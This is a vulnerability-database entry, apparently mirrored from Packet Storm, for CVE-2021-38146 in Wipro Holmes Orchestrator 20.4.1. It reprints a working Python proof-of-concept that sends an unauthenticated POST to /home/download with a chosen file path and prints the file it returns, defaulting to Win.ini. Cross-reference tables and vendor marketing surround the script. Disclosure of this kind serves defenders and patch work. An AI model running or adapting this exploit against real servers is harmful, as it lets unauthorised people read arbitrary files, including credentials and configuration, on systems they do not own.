Wipro Holmes Orchestrator 20.4.1 Arbitrary File Download
🗓️ 15 Nov 2021 00:00:00Reported by Rizal MuhammedType
packetstorm🔗 packetstormsecurity.com👁 425 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Wipro Holmes Orchestrator 20.4.1 Arbitrary File Download Exploit | 15 Nov 202100:00 | – | zdt | |
| CVE-2021-38146 | 22 Nov 202109:15 | – | attackerkb | |
| CVE-2021-38146 | 7 Jun 202417:11 | – | circl | |
| Wipro Holmes Orchestrator 路径遍历漏洞 | 15 Nov 202100:00 | – | cnnvd | |
| CVE-2021-38146 | 22 Nov 202108:34 | – | cve | |
| CVE-2021-38146 | 22 Nov 202108:34 | – | cvelist | |
| Wipro Holmes Orchestrator 20.4.1 - Arbitrary File Download | 12 Aug 202606:06 | – | nuclei | |
| CVE-2021-38146 | 22 Nov 202109:15 | – | nvd | |
| CVE-2021-38146 | 22 Nov 202109:15 | – | osv | |
| Path traversal | 22 Nov 202109:15 | – | prion |
10
`# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Read PoC
# Date: 05/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38146
import requests as rq
import argparse
port = 8001 # change port if application is running on different port
def file_download(host, filepath):
vuln_url = "http://%s:%s/home/download" % (host, port)
data = {
"SearchString": filepath,
"Msg": ""
}
hdr = {
"content-type": "application/json"
}
resp = rq.post(vuln_url, headers=hdr, json=data)
print resp.text
def main():
parser = argparse.ArgumentParser(
description="CVE-2021-38146 - Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Download",
epilog="Vulnerability Discovery and PoC Author - Rizal Muhammed @ub3rsick"
)
parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
parser.add_argument("-f","--file-path", help="Absolute Path of the file to download", default="C:/Windows/Win.ini")
args = parser.parse_args()
if "\\" in args.file_path:
fp = args.file_path.replace("\\", "/")
else:
fp = args.file_path
file_download(args.target_ip, fp)
if __name__ == "__main__":
main()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Nov 2021 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.11733